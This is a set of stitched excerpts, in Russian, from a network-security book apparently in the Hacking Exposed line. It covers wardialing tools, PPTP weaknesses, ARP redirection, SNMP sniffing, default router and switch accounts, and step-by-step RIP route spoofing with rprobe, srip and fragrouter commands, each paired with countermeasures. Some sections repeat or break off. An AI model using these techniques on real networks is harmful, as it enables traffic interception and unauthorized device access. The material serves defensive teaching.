Конечно, основным отличием между PhoneSweep и бесплатными программами является цена. Во время написания этой книги существовало две версии программы PhoneSweep: PhoneSweep Basic, поддерживающая один модем и до 800 номеров на профиль стоимостью $980 (стоимость дополнительной поддержки этой версии в течение года составляет $196), и PhoneSweep Plus, поддерживающая до 4 модемов и 10000 номеров на каждый профиль стоимостью $2800 (стоимость дополнительной поддержки этой версии в течение года составляет $560). Для защиты от нелицензионного копирования программы используется аппаратная заглушка, подключаемая к параллельному порту, без которой программа не работает. Учитывая стоимость усилий, затраченных на установку, настройку и обработку результатов бесплатных программ, цена $2800 выглядит не столь устрашающе.
Утилита ToneLoc в процессе сканирования
Рисунок 9.2. Утилита ToneLoc в процессе сканирования большого числа телефонных номеров в поисках других модемов
Перед использованием утилиты THC-Scan сначала с помощью программы TS-CFG необходимо сгенерировать файл конфигурации (. CFG). Эта утилита конфигурации имеет более широкие возможности, чем программа TLCFG для ToneLoc. Большинство параметров конфигурации достаточно просты, но для нестандартной настройки потребуются исчерпывающие знания СОМ-портов. Основные параметры конфигурации перечислены в следующей таблице
Порт СОМ |
Номер прерывания |
Порт ввода-вывода |
1 |
4 |
3F8 |
2 |
3 |
2F8 |
3 |
4 |
ЗЕ8 |
4 |
3 |
2Е8 |
Для определения этих параметров применяется утилита MOD-DET, включенная в комплект поставки THC-Scan (на сообщения Windows об ошибках можно не обращать внимания), результат работы которой выглядит следующим образом.
MODEM DETECTOR v2.00 (c) 1996,98 by van Hauser/THC
<vh@ reptile.rug.ac.be>
Get the help screen with : MOD-DET.EXE ?
Identifying Options...
Extended Scanning : NO
Use Fossil Driver : NO
(Fossil Driver not present)
Slow Modem Detect : YES
Terminal Connect : NO
Output Filename : <none>
Autodetecting modems connected to COM 1 to COM 4 ...
COM 1 - None Found
COM 2 - Found! (Ready)
[Irq: 3 | BaseAdress: $2F8]
COM 3 - None Found
COM 4 - None Found
1 Modem(s) found.
Взлом протокола РРТР реализованного компанией Microsoft
Взлом протокола РРТР, реализованного компанией Microsoft
Анализ протокола РРТР в реализации компании Microsoft был выполнен 1 июня 1998 года известным криптоаналитиком Брюсом Шнеером (Bruce Schneier) и знаменитым хакером Питером Маджем (Peter Mudge) (http://www.counterpane.com/pptp. html). Технический обзор результатов этого анализа, представленный Алефом Ваном (Aleph One) для журнала Phrack Magazine. В своем обзоре Алеф Ван вскрыл новые бреши в защите протокола РРТР, в том числе возможности обмана РРТР-сервера с целью получения данных аутентификации. Информацию об устранении недостатков в реализации протокола РРТР от компании Microsoft можно найти по адресу http://www.counterpane.com/ pptpv2-paper.html.
Хотя указанная выше статья касается лишь реализации протокола РРТР компанией Microsoft, из нее можно извлечь полезные уроки относительно виртуальных частных сетей в целом. Поскольку технология виртуальных частных сетей призвана обеспечить дополнительную защиту информации, ее пользователи не подвергают никаким сомнениям возможности этой защиты. Поэтому статья Шнеера и Маджа должна послужить тревожным сигналом для таких беспечных пользователей. Рассмотрим некоторые вопросы, затронутые в этой статье.
Приступая к чтению статьи Шнеера и Маджа, необходимо принимать во внимание сделанные ими допущения и имеющуюся среду для тестирования. Они изучали вопросы взаимодействия клиент/сервер на основе протокола РРТР, а не используемую шлюзами архитектуру сервер/сервер. Клиент, согласно их предположениям, подключался непосредственно к Internet, минуя удаленное соединение. Более того, некоторые из предлагаемых ими атак основываются на возможности беспрепятственного прослушивания сеанса РРТР. И хотя ни одно из сделанных предположений принципиально не влияет на полученные заключения, необходимо понимать, что требование свободного прослушивания сеансов таких коммуникаций само по себе является достаточно жестким и обеспечивает достаточную защиту соединения.
Основные выводы статьи сводятся к следующему.
Протокол безопасной аутентификации MS-CHAP компании Microsoft основывается на устаревших криптографических функциях (недостатки хэш-кодов LanManager и соответствующие программы взлома описаны в главе 5).
Ключи сеансов, применяемые для шифрования передаваемых по сети данных, основываются на паролях пользователей, следовательно, практическая длина ключей снижается до 40 и 128 битов.
Выбранный алгоритм шифрования данных сеанса (симметрический алгоритм RC4) значительно ослабляется за счет повторного применения ключей сеанса в направлениях отправителя и получателя, создавая опасность реализации стандартной криптографической атаки.
Канал управления (TCP-порт 1723) для управляющих соединений не использует аутентификацию и абсолютно не защищен от атак, направленных на генерацию события DoS.
Кодируются только сами данные, при этом злоумышленники могут свободно извлекать информацию из служебного трафика, передаваемого по каналу управления
В статье делается предположение о том, что клиентные подключения к сети,через РРТР-серверы могут служить в качестве потайных входов в эти сети
Заключительные замечания
Заключительные замечания
Рассмотренные выше примеры относятся к реально существующим изученным авторами системам. Читатели могут встретиться с системами, требующими реализации в сценарии некоторых других особенностей. Разработка сценария для конкретной ситуации — это путь проб и ошибок. Для написания сценариев можно использовать и другие языки, однако этот метод был выбран для простоты. Напомним еще раз, что для реализации этого подхода сначала необходимо открыть файл журнала, поскольку после успешного написания сценария и его многочасовой работы будет очень обидно обнаружить полное отсутствие результатов.
Читателей может заинтересовать вопрос: а как обстоят дела с соединениями ISDN (Integrated Services Digital Network)? Они по-прежнему используются во многих компаниях. Эти соединения в свое время предназначались для ускорения процесса соединения с корпоративной сетью. На сегодняшний день более быстрые каналы Internet во многом вытеснили соединения ISDN, однако последние все еще используются. Поэтому наряду с выявлением аналоговых линий обычных телефонных соединений имеет смысл проводить сканирование в поисках ISDN-модемов (или, как их часто называют, терминальных адаптеров (terminal adapters)). Авторы не имеют возможности привести полное описание процесса сканирования, направленного на выявление ISDN-соединений, в настоящем издании. Возможно, это будет сделано в следующем издании книги.
Теперь самое время перейти к рассмотрению способов защиты перечисленных выше слабых мест.
Защита сети РВХ средствами АСЕсервера
Защита сети РВХ средствами АСЕ-сервера
Если вам встретится система, приглашение которой имеет следующий вид, — не стоит ломать копья: вероятнее всего, такую систему не удастся взломать, поскольку она защищена надежным механизмом на базе протокола АСЕ-сервера.
XX-Feb-XX 02:04:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM
Hello
Password :
89324123 :
Hello
Password :
65872901 :
Защита удаленных соединений
Защита удаленных соединений
Не мудрствуя лукаво, приведем список вопросов, которые необходимо решить в процессе планирования защиты удаленных соединений своей организации. Этот список упорядочен по сложности реализации мероприятий (от простого к сложному). Поэтому в первую очередь будут устранены проблемы, относящиеся к домену ЛДП. Внимательному читателю этот список наверняка напомнит перечень мероприятий в рамках политики защиты удаленных соединений.
1. Выполните инвентаризацию всех существующих линий удаленных соединений. На первый взгляд, это непростая задача. Однако перечитайте еще раз эту главу и обратите внимание на многократное повторение терминов "автопрозвон" или "сканирование телефонных номеров". Выявите все возможности неавторизованных удаленных соединений и избавьтесь от них всеми доступными средствами.
2. Внесите всю информацию об удаленных соединениях в единый банк данных, вынесите его за пределы внутренней сети как банк ненадежных соединений (т.е. в демилитаризованную зону), а затем, применив методы выявления вторжений и технологию брандмауэров, ограничьте доступ к доверенным подсетям.
3. Постарайтесь усложнить поиск аналоговых линий. Не назначайте их в одном диапазоне с телефонными номерами корпорации и не передавайте телефонные номера компании для регистрации в базе данных InterNIC. Защитите паролем информацию о телефонных номерах на АТС.
4. Удостоверьтесь, что телекоммуникационное оборудование защищено физически: во многих компаниях такое оборудование содержится в общедоступных местах в незакрывающихся боксах.
5. Регулярно проверяйте журналы регистрации программного обеспечения удаленных соединений. Особое внимание уделите информации о неудачных попытках установки соединений, активности в ночное время и необычным ситуациям. Используйте CalledD для записи номеров всех входящих соединений.
6. Важно и просто! Для линий, применяемых в коммерческих целях, отключите вывод любых идентификационных данных и замените их на наиболее нейтральное приглашение. Рассмотрите возможность отправки предупреждающих сообщений о недопустимости несанкционированного использования.
7. Предусмотрите для удаленного доступа двойную аутентификацию. Двойная аутентификация (two-factor authentication) предполагает ввод пользователем для получения доступа к системе двух типов данных: то, что он имеет, и то, что он знает. Примером являются одноразовые карточки паролей SecurlD компании Security Dynamics Technologies, Inc. Понятно, что зачастую такой подход финансово невыгоден. Однако это наилучший способ предотвращения большинства описанных выше проблем. В заключительном разделе главы приводится перечень компаний, выпускающих подобные продукты. В случае отказа от их услуг необходимо придерживаться жесткой политики назначения сложных паролей.
8. Требуйте аутентификации по обратной связи. Аутентификация по обратному звонку (dial-back) подразумевает такую конфигурацию удаленной системы, при которой сразу же после установки соединения с любым из клиентов это соединение разрывается и возобновляется снова по инициативе самой удаленной системы по заранее известным координатам инициатора соединения. С целью обеспечения более высокой степени безопасности при установке обратного соединения желательно использовать отдельный модемный пул, для которого запрещены входящие соединения (средствами модемов или самих телефонных линий). Следует иметь в виду, что такое решение, видимо, неприемлемо для многих современных компаний с большим количеством мобильных пользователей.
9. Удостоверьтесь, что доска объявлений компании не содержит секретных данных и не обеспечивает возможности удаленного изменения параметров учетной записи. Все описанные выше меры безопасности окажутся тщетными, если в отделе технической поддержки компании появится один новый энергичный человек с недобрыми намерениями.
10. Сосредоточьте решение задач обеспечения удаленных соединений (начиная от факсов и заканчивая голосовой почтой) в руках одного отдела своей организации, уполномоченного решать задачи безопасности.
11. Установите корпоративную политику для сотрудников центрального подразделения таким образом, чтобы полностью исключить обычные телефонные соединения. С этой целью установите внутренние мини-АТС, исключающие прямые входящие телефонные звонки и обеспечивающие лишь передачу исходящих факсов, доступ к электронной доске объявлений и т.п. Проведите тщательный маркетинг соответствующих систем и удостоверьтесь, что выбранная вами внутренняя мини-АТС удовлетворяет всем необходимым требованиям безопасности. В противном случае перейдите к п.1 и укажите поставщикам на бреши в защите, выявленные по методологии сканирования телефонных номеров.
12. Вернитесь к п.1. Изящно сформулированные политики — это хорошо, однако единственный способ обеспечить следование этим политикам состоит в регулярном сканировании телефонных линий на предмет поиска новых брешей в защите. Авторы советуют проводить эту операцию не реже двух раз в год для компаний с 10000 телефонных линий, а желательно даже чаще. Итак, защита удаленных соединений включает 12 пунктов. Конечно же, некоторые из них достаточно сложно воплотить в жизнь, однако стоит приложить для этого максимум усилий. Многолетний опыт авторов по обеспечению безопасности больших корпораций свидетельствует о том, что большинство компаний хорошо защищено брандмауэрами, однако практически все имеют бреши в защите обычных телефонных линий, позволяющие добраться к самому сердцу информационной инфраструктуры. Не лишним будет повторить, что война с модемами — возможно, самый важный шаг к улучшению безопасности сети организации.
Анализ пакетов на коммутаторе сети
Анализ пакетов на коммутаторе сети
На первый взгляд кажется, что для повышения скорости и уровня безопасности можно просто добавить в сеть новый коммутатор. Если вы считаете, что это позволит удержать любознательных пользователей от прослушивания интенсивного сетевого трафика, то такая позиция может вызвать лишь улыбку. Неужели вы думаете, что новый коммутатор способен разрешить все существующие проблемы? Подумайте хорошенько еще раз.
Протокол ARP (Address Resolution Protocol — протокол разрешения адресов, RFC 826) обеспечивает динамическое преобразование 32-битовых IP-адресов в 48-битовые физические адреса сетевых устройств. Когда узлу требуется обратиться к соседним устройствам из той же сети (включая шлюз, используемый по умолчанию), он рассылает широковещательные сообщения ARP для поиска физического адреса требуемого узла. Соответствующий узел отвечает на запрос ARP, сообщая свой физический адрес, после чего и начинается взаимодействие.
К сожалению, трафик ARP с исходного узла можно перенаправить на компьютер взломщика. Это можно осуществить даже в сетях с коммутацией пакетов. Перехваченные сообщения можно просмотреть с использованием анализатора сетевых пакетов, а затем передать их в реальный пункт назначения. Этот сценарий известен как атака с применением "третьего среднего" (man in the middle). Такой подход оказывается относительно простым. Рассмотрим его реализацию на примере.
Инвентаризация и сбор маркеров Cisco
Инвентаризация и сбор маркеров Cisco
Если по всем признакам устройство ведет себя как устройство Cisco, то, скорее всего, так оно и есть. Однако в некоторых случаях данное утверждение все же оказывается ложным — лишь обнаружения ожидаемых открытых портов недостаточно, чтобы быть уверенным в том, что вы имеете дело именно с Cisco. Однако можно воспользоваться некоторыми дополнительными проверками, характерными именно для этой платформы.
Исследование
Исследование
Процесс обнаружения сетевого устройства не имеет принципиальных различий с описанными в данной книге методами обнаружения любых других компьютерных систем. Скорее всего взломщик начнет со сканирования портов, пытаясь найти какие-то "зацепки". Обнаружив открытые порты, он выполнит сбор маркеров и инвентаризацию сетевых ресурсов с помощью утилиты netcat. Если открыт порт UDP 161, скорее всего тут же последует попытка использования протокола SNMP (Simple Network Management Protocol), поскольку неправильно настроенные SNМР-устройства очень часто "выбалтывают" самую сокровенную информацию о своей конфигурации любому, кто ею заинтересуется.
Коммутаторы 3Com
Коммутаторы 3Com
Коммутаторы 3Com очень часто имеют несколько встроенных по умолчанию учетных записей с разным уровнем привилегий — admin, read, write, debug, test и monitor. Если эти встроенные учетные записи окажутся незащищенными, то с их помощью злоумышленник сможет получить пользовательские или даже административные привилегии.
Конфигурационные файлы устройств компании Bay
Конфигурационные файлы устройств компании Bay
Программное обеспечение управления сетью компании Bay Networks, диспетчер Site Manager, позволяет администраторам выполнять тестирование состояния сети, включая проверку SNMP-статуса устройства и установление факта его работоспособности с помощью пакетов IСМР. К сожалению, конфигурационные файлы .cfg, предназначенные для хранения параметров Site Manager, хранятся в незашифрованном виде. Помимо прочего, в этом файле хранятся также строки доступа SNMP. Если злоумышленнику удастся проникнуть на компьютер, работающий под управлением Site Manager, все, что ему нужно сделать, — это скопировать конфигурационные файлы в свою версию Site Manager и найти в них информацию о строках доступа SNMP.
Контрмеры предотвращение перенаправленияАВР
Контрмеры: предотвращение перенаправленияАВР
Как вы увидели в предыдущем разделе, не составляет никаких проблем генерировать ложные ответы ARP и модифицировать таблицу ARP на большинстве узлов локальной сети. Где это только возможно, задавайте статические записи таблицы ARP, особенно на важных системах. Стандартный прием заключается в задании статических записей АКР, определяющих взаимодействие брандмауэра и пограничных маршрутизаторов. Это можно реализовать следующим образом.
[shadow] arp -s crush 00:00:С5:74:ЕА:ВО
[shadow] arp -a
crush (10.1.1.1) at 00:00:05:74:ЕА:ВО [ether] PERM on ethO
Использование постоянных статических маршрутов для внутренних сетевых узлов является не самой распространенной практикой в мире. Поэтому можно применять утилиту arpwatch, предназначенную для отслеживания пар АКР-адрес/IР-адрес и уведомления о любых обнаруженных изменениях.
Для активизации этого режима запустите утилиту arpwatch, указав при этом интерфейс, мониторинг которого нужно осуществлять. [crush] .arpwatch -i rl0
Как видно из следующего примера, утилита arpwatch обнаружила работу утилиты arpredirect и поместила соответствующую запись в журнал /var/log/messages.
May 21 12:28:49 crush: flip
flop 10.1.1.1 0:50:56:bd:2a:f5 (0:0:c5:74:ea:bO)
snmpsniff
Если ваш компьютер находится в сегменте сети с множественным доступом, то совсем неплохо ее "прослушать" и узнать, что же в ней происходит. Воспользуйтесь мощным анализатором пакетов SnifferPro компании Network Associates или запустите утилиту snmpsnif f, разработанную Нуно Леитао (Nuno Leitao, nuno.leitao@convex.pt). а затем посмотрите, какую информацию вы получили.
Утилита snmpsniff — это прекрасное средство для перехвата не только строк доступа, но и запросов SNMP. Достаточно запустить ее с указанными ниже параметрами, чтобы практически гарантированно получить нечто интересное.
[root@kramer snmpsniff-0.9b]# ./snmpsniff.sh
snmpsniffer: listening or. ethO
(05:46:12) 172.31.50.100(secret)-» 172.31.50.2 (ReqID:1356392156)
GET:
<.iso.org.dod.internet.ragmt.mib-2.system.1.0>(NULL)
= NULL (05:46:12) 172.31.50.2(secret)-» 172.31.50.100
(ReqID:1356392156)
RESPONSE (Err:0): <.iso.org.dod.internet.mgmt.mib-2.system.1.0>
(Octet String) = OCTET STRING- (ascii) : Cisco Internetwork
Operating System Software ..IOS (tin) 3000 Software (IGS-I-L),
Version 11.0(16), RELEASE SOFTWARE (fcl)..Copyright (c) 1986-1997
by Cisco Systems, Inc...Compiled
Tue 24-Jun-97 12:20 by jaturner
Контрмеры защита базы данных MIB
Контрмеры: защита базы данных MIB
Контрмеры защита конфигурационных файлов Вау
Контрмеры: защита конфигурационных файлов Вау
Самая простая защитная мера заключается в ограничении списка пользователей. которым разрешено копировать конфигурационные файлы. Для этого достаточно разрешить чтение этих файлов только суперпользователю root (или только администратору, отвечающему за настройку маршрутизатора).
Контрмеры защита маршрутизаторов Ascend
Контрмеры: защита маршрутизаторов Ascend
Для того чтобы изменить установленные по умолчанию строки доступа на маршрутизаторе Ascend, просто воспользуйтесь командой меню Ethernet>ModConflg>SNMP Options.
Контрмеры защита маршрутизаторов Bay
Контрмеры: защита маршрутизаторов Bay
В диспетчере Site Manager, который входит в состав программного обеспечения маршрутизаторов компании Bay Networks, выберите команду меню Protocols>IlP1* SNMPoCommunities. После этого выберите команду Community>Edit Community и измените строки доступа.
Контрмеры защита маршрутизаторов Cisco
Контрмеры: защита маршрутизаторов Cisco
Даже если вы измените все обнаруженные легко угадываемые пароли, установленные производителем по умолчанию, это вовсе не означает, что ваше устройство Cisco надежно защищено. Поскольку компания Cisco не применяет мощных алгоритмов шифрования паролей, используемых для доступа с терминалов vty, то, обнаружив их тем или иным способом, злоумышленник сможет без труда взломать эти пароли. Несмотря на это, каждый владелец маршрутизатора Cisco должен как можно скорее выполнить следующие операции.
Убедитесь в том, что установлена служба шифрования паролей (service password-encryption).
Выполните команду enable password ") <пароль>, чтобы зашифровать пароль vty хотя бы с помощью слабого алгоритма шифрования Cisco (это все же лучше, чем передача пароля в виде незашифрованного текста).
Контрмеры защита маршрутизаторов Cisco от утечки информации
Контрмеры: защита маршрутизаторов Cisco от утечки информации
Самый простой способ защиты от утечки информации заключается в том, чтобы использовать команду, запрещающую поступление пакетов TCP через порт 1999. Она может иметь следующую форму.
access-list 101 deny tcp any any eq 1999 log!
Блокирование сканирования устройств Cisco
Контрмеры защита от dsniff
Контрмеры: защита от dsniff
Традиционным способом защиты от перехвата незашифрованных паролей является переход от сетевой топологии Ethernet с множественным доступом к сети с коммутацией пакетов. Однако как вы узнали из предыдущих разделов, такая мера практически не способна предотвратить атаки с применением программы dsniff.
В этом случае ко всему сетевому трафику лучше всего применить один из алгоритмов шифрования. Воспользуйтесь преимуществами SSH для туннелирования всего трафика или возможностями средств, в которых реализованы алгоритмы шифрования по открытому ключу (PKI — Public Key Infrastructure), например продуктами компании Entrust Technologies. Это позволит выполнить сквозное шифрование всего потока сетевых данных.
Контрмеры защита от идентификации типа ОС
Контрмеры: защита от идентификации типа ОС
Методы обнаружения и предупреждения попыток сканирования с целью идентификации типа операционной системы подробно описаны в главе 2.
Контрмеры защита от прослеживания маршрута
Контрмеры: защита от прослеживания маршрута
Для того чтобы запретить маршрутизатору Cisco отвечать на запросы со значением TTL больше допустимого, воспользуйтесь следующей командой.
access-list 101 deny icmp any any 11 0
Если же вы хотите разрешить прохождение ICMP-запросов, поступающих лишь с определенных доверенных сетей, и запретить маршрутизатору отвечать на запросы, отправляемые из других сетей, воспользуйтесь следующими командами.
access-list 101 permit icmp any 172.29.20.0 0.255.255.255 11 0
access-list 101 deny ip any any log
Контрмеры защита от сбора информации об устройствах Cisco
Контрмеры: защита от сбора информации об устройствах Cisco
Единственный метод, позволяющий предотвратить инвентаризацию устройств Cisco. заключается в ограничении доступа с помощью списка ACL. Можно либо использовать установленное по умолчанию правило "очистки", либо в явной форме запретить подключение к соответствующим портам, чтобы все подобные попытки регистрировались в контрольном журнале. Для этого можно воспользоваться командами следующего вида.
access-list 101 deny tcp any any 79 log
или
access-list 101 deny tcp any any 9001
Контрмеры защита паролей Cisco
Контрмеры: защита паролей Cisco
Единственным решением проблемы защиты пароля доступа (enable password) является использование для изменения пароля команды enable secret. Эта команда защищает пароль доступа с помощью алгоритма шифрования MD5, для которого пока что нет известных методов быстрого взлома. К сожалению, остальные пароли Cisco, такие как пароли доступа vty, защитить ни этим, ни каким-либо другим методом нельзя.
Контрмеры защита SNMP
Контрмеры: защита SNMP
Если вы разрешаете осуществлять SNMP-доступ через пограничный брандмауэр к какому-либо одному устройству, а в использовании протокола SNMP для доступа к остальным узлам сети нет острой необходимости, то можно просто внести соответствующие ограничения в список ACL маршрутизатора.
access-list 101 deny udp any any eq 161 log ! Блокирование трафика SNMP
Еще проще заменить строки доступа трудно угадываемыми паролями. Например, в устройствах Cisco это достигается с помощью следующей простой команды.
snmp-server community <трудно угадываемый пароль> RO
Кроме того, всегда, когда это возможно, запрещайте SNMP-доступ для чтения с возможностью записи.
Для снижения риска применения протокола SNMP можно воспользоваться также и рекомендацией самой компании Cisco (http://www.cisco.com/univercd/cc/-td/doc/cisintwk/ics/cs003.htm):
"К сожалению, строки доступа SNMP передаются по сети в виде незашифрованного текста... По этой причине отказ от использования сервера SNMP, поддерживающего передачу сообщений trap, позволит предотвратить перехват этих сообщений взломщиками (передаваемых между диспетчерами и агентами SNMP) и их использование для получения строк доступа."
Если в строке доступа вы хотите использовать символ ?, то перед ним необходимо нажать комбинацию клавиш <Ctrl-V>. Например, для того чтобы установить строку доступа, равную secret? 2me, введите secret<Ctrl-V>?2me.
В табл. 10.2 перечислены все основные разработчики сетевых устройств и строки доступа, используемые ими по умолчанию для чтения и для чтения/записи.Контрмеры защита трафика ЗММР
Контрмеры: защита трафика ЗММР
Одна из защитных мер, позволяющих предотвратить перехват трафика SNMP, заключается в его шифровании. В обоих версиях этого протокола, SNMP\2 и SNMPvS, имеется возможность применения алгоритмов шифрования и стандарта DES для шифрования конфиденциальной информации. Альтернативный подход заключается в реализации защищенного канала на базе частной виртуальной сети (VPN — Virtual Private Network). При использовании клиентского программного обеспечения VPN, разработанного компанией Entrust (http://www.entrust.com) или компанией NortelNetworks (http://www.nortelnetworks.com), гарантируется шифрование трафика между клиентским узлом и концом канала VPN.
Контрмеры защита устройств Webramp
Контрмеры: защита устройств Webramp
В данном случае самый простой метод защиты заключается в изменении административного пароля. Более сложное решение, предложенное Игелхофом и Стенли, заключается в ограничении доступа с использованием службы telnet через порт WAN. Это можно осуществить несколькими способами, однако мы можем порекомендовать следующий. Находясь в среде программного обеспечения устройства Webramp включите режим Visible Computer для каждого активного модемного порта и направьте его на ложный IP-адрес, например, на немаршрутизируемый адрес, такой как 192.168.100.100. После этого отключите оба режима Divert Incoming.
Контрмеры защита встроенных учетных
Контрмеры: защита встроенных учетных записей коммутаторов 3Com
Для того чтобы изменить пароль, введите с консоли устройства команду system password.
Контрмеры защита встроенных учетных
Контрмеры: защита встроенных учетных записей маршрутизаторов Bay
Установите пароли для учетных записей User и Manager. Отключите поддержку служб FTP и telnet. Добавьте список ACL, чтобы разрешить подключение с использованием FTP и telnet только строго определенным узлам. Ограничьте возможности учетной записи User, запретив использование протоколов FTP, TFTP и telnet.
Ложные пакеты RIP
Ложные пакеты RIP
После успешной идентификации маршрутизаторов вашей сети, опытный взломщик наверняка предпримет попытку найти те из них, которые поддерживают протокол маршрутизации RIP (Routing Information Protocol) версии 1 (RFC 1058) или 2 (RFC 1723). Почему? Дело в том, что с его помощью легко сгенерировать ложные пакеты. Объясняется это следующими причинами.
Протокол RIP базируется на протоколе UDP (порт UDP 520) и таким образом также не требует наличия открытого соединения (connectionless). Другими словами, соответствующий пакет будет принят от любого узла, несмотря на то, что такой пакет никогда не был отправлен.
В протоколе RIP версии 1 отсутствует механизм аутентификации, что позволяет любому узлу отправить пакет маршрутизатору RIP и получить требуемые данные.
Протокол RIP версии 2 поддерживает упрощенную аутентификацию, позволяющую использовать пароли в виде незашифрованного текста длиной 16 байт. Однако, как теперь вам известно, подобные пароли можно без проблем перехватить.
В результате взломщик может просто отправить маршрутизатору RIP ложные пакеты и указать, чтобы пакеты передавались в другую сеть или узел, а не на требуемый узел. Вот как можно осуществить атаку с помощью ложных пакетов RIP.
1. Идентифицируйте маршрутизатор RIP, который вы планируете атаковать. Для этого выполните сканирование UDP-порта с номером 520.
2. Определите таблицу маршрутизации.
Если вы находитесь в том же физическом сегменте, что и маршрутизатор, и можете перехватывать сетевой трафик, то достаточно просто прослушать широковещательный трафик RIP и получить из него всю интересующую информацию о записях маршрутизации (если вы имеете дело с активным маршрутизатором RIP) или запросить маршруты (в случае пассивного или активного маршрутизатора RIP).
Если вы находитесь на удаленном узле или лишены возможности перехватывать пакеты, то можно воспользоваться простой утилитой rprobe. Запустив эту утилиту в одном окне, можно передать маршрутизатору RIP запрос о доступных маршрутах:
[roottt] rprobe -v 192.168.51.102
Sending packet
Sent 24 bytes.
---- RIP Header----
Routing data frame 1
Address family identifier = 2 (IP)
IP address = [10.42.33.0]
Metric = 3
Routing data frame 2
Address family identifier = 2 (IP)
IP address = [10.45.33.0]
Metric = 3
Routing data frame 2
Address family identifier = 2 (IP)
IP address = [10.45.33.0]
Metric = 1
IP-адрес = 10.45.33.10
Маска подсети =255.255.255.255
Шлюз = 172.16.41.200
Метрика = 1
4. Добавьте маршрут. Для этого с помощью утилиты srip передайте маршрутизатору ложный пакет со статическим маршрутом.
[root#] srip -2 -n 255.255.255.255 172.16.41.200 192.168.51.102 10.45.33.10 1
5. Теперь все пакеты, предназначенные для узла 10.45.33.1 (который может быть любым сервером, содержащим конфиденциальную информацию), будут перенаправляться на наш компьютер (172.16.41.200) для последующей передачи. Конечно, для дальнейшей передачи этих пакетов необходимо воспользоваться утилитой fragrouter или любым другим средством уровня ядра.
Утилита fragrouter
[root*] ./fragrouter -Bl
Передача пакетов на уровне ядра
[roottt] vi /proc/sys/net/ipv4/ip_forward (change 0 to 1)
Как видно из следующего рисунка, обычный поток сообщений с узла DIANE можно без проблем перенаправить через компьютер взломщика (PAUL) и лишь затем передать их дальше на узел назначения (FRASIER).
Контрмеры: защита от ложных пакетов RIP
Запретите поддержку протокола RIP на своем маршрутизаторе. В протокол OSPF (Open Shortest Path First) встроены более защищенные механизмы аутентификации, которые ограничивают возможности взломщика по использованию ложных пакетов RIP.
Если это возможно, вообще запретите на пограничном маршрутизаторе обработку входящих пакетов RIP (порты 521 TCP/UDP). Требуйте использования лишь статических маршрутов.
Маршрутизаторы Ascend
Маршрутизаторы Ascend
По умолчанию маршрутизаторы Ascend обеспечивают доступ по протоколу SNMP с помощью строк доступа public (для чтения — read) и writ: спя чтения и записи — read/write). Изъян в системе защиты, связанный с SNMP-доступом для чтения и записи, впервые был обнаружен специалистами из Network Associates. Inc.
Маршрутизаторы Bay
Маршрутизаторы Bay
Маршрутизаторы компании Bay NT по умолчанию предоставляют доступ по протоколу SNMP, контролируемый на уровне пользователей как для чтения, так и для записи. Для того чтобы воспользоваться этой возможностью, достаточно попытаться использовать установленное по умолчанию пользовательское имя User без пароля. В командной строке маршрутизатора введите команду show snmp comm types
Эта команда позволяет просматривать имеющиеся строки доступа. То же самое с помощью диспетчера Site Manager может проделать любой пользователь (команда меню Protocols>IP>SNMP>Communities).
Маршрутизаторы Bay
Маршрутизаторы Bay
Маршрутизаторы Bay имеют пару установленных по умолчанию учетных записей, некоторые из которых к тому же по умолчанию не защищены паролем. Поскольку при настройке операционной системы удобно пользоваться учетными записями User и Manager, в которых пароль отсутствует, то довольно часто администраторы оставляют эти учетные записи незащищенными. Это позволяет злоумышленнику с помощью утилиты telnet получить прямой доступ к устройству и через FTP переписать на свой компьютер конфигурационные файлы. Например, на многих коммутаторах Bay 350T имеется учетная запись NetiCs без пароля, которая представляет собой прекрасный "потайной ход" в систему.
Множественный доступ и коммутация пакетов
Множественный доступ и коммутация пакетов
Общая передающая среда (как Ethernet, так и Token Ring) применяется для обмена данными в сетях на протяжении более двух десятков лет. Этот подход был разработан Бобом Меткафом (Bob Metcalfe) для стандарта Ethernet в исследовательском центре компании Xerox, расположенном в г. Пало Альто (PARC — Palo Alto Research Center), и получил название CSMA/CD (выявление множественного доступа к линии/распознавание конфликтов — Carrier Sense Multiple Access/Collision Detection). При такой традиционной топологии сетевой адаптер Ethernet отправляет исходящий поток данных каждому узлу сегмента. С одной стороны, это гарантирует, что принимающий адаптер, где бы он ни находился, получит, как и все остальные адаптеры сети, предназначавшиеся ему данные (хотя остальным сетевым адаптерам они вовсе не нужны). С другой стороны, постоянно рассылаемые по всей сети пакеты мешают друг другу и при повышении интенсивности работы могут возникать ситуации, когда пропускная способность канала не соответствует интенсивности передаваемых по нему данных. Кроме того, с точки зрения безопасности, множественный доступ к передающей среде — это "бомба замедленного действия", которая рано или поздно может привести к нарушениям безопасности. Однако, к сожалению, сети Ethernet с множественным доступом весьма распространены в настоящее время и. похоже, вряд ли исчезнут в обозримом будущем.
Между тем уже довольно давно существует технология Ethernet, построенная на принципе коммутации пакетов, которая далеко позади оставляет традиционную технологию Ethernet. Технология коммутации пакетов основывается на использовании большой таблицы адресов MAC (Media Access Control — управление доступом к компонентам среды). При использовании МАС-адресов данные отправляются с помощью специального алгоритма, реализованного в виде быстродействующей микросхемы, непосредственно получателю этих данных и никому более (за исключением лишь некоторых особых случаев).
Однако и в коммутируемых сетях также имеется возможность перехвата пересылаемых пакетов. Примером такого устройства могут быть коммутаторы Catalyst компании Cisco, имеющие средства поддержки технологии SPAN (Switched Port Analyzer). Перенаправив определенные порты или виртуальные локальные сети (VLAN — Virtual Local Area Networks) на заданный порт, администратор может перехватывать пакеты так, как если бы они передавались по традиционной сети с множественным доступом. В настоящее время этот прием часто используется в системах выявления вторжений (IDS — Intrusion Detection System) с целью обеспечения возможности прослушивания передаваемого потока данных и выявления нарушений безопасности.
Еще более опасной для коммутируемых сетей оказалась технология, реализованная Дагом Сонгом (Dug Song) в его программе-анализаторе dsniff. Эта программа позволяет захватывать трафик коммутируемой сети, полностью перенаправляя его с заданного узла на узел, на котором она установлена. Такая технология достаточно проста и способна разрушить традиционное мнение о том, что сеть с коммутацией пакетов обеспечивает достаточно высокий уровень безопасности.
Модуль Cisco Config Viewer позволяет
Рисунок 10.4. Модуль Cisco Config Viewer позволяет легко получить конфигурационный файл устройства Cisco. Для этого достаточно подобрать строку доступа, обеспечивающую чтение и запись
Модуль расшифровки паролей Cisco компании SolarWinds
Модуль расшифровки паролей Cisco компании SolarWinds
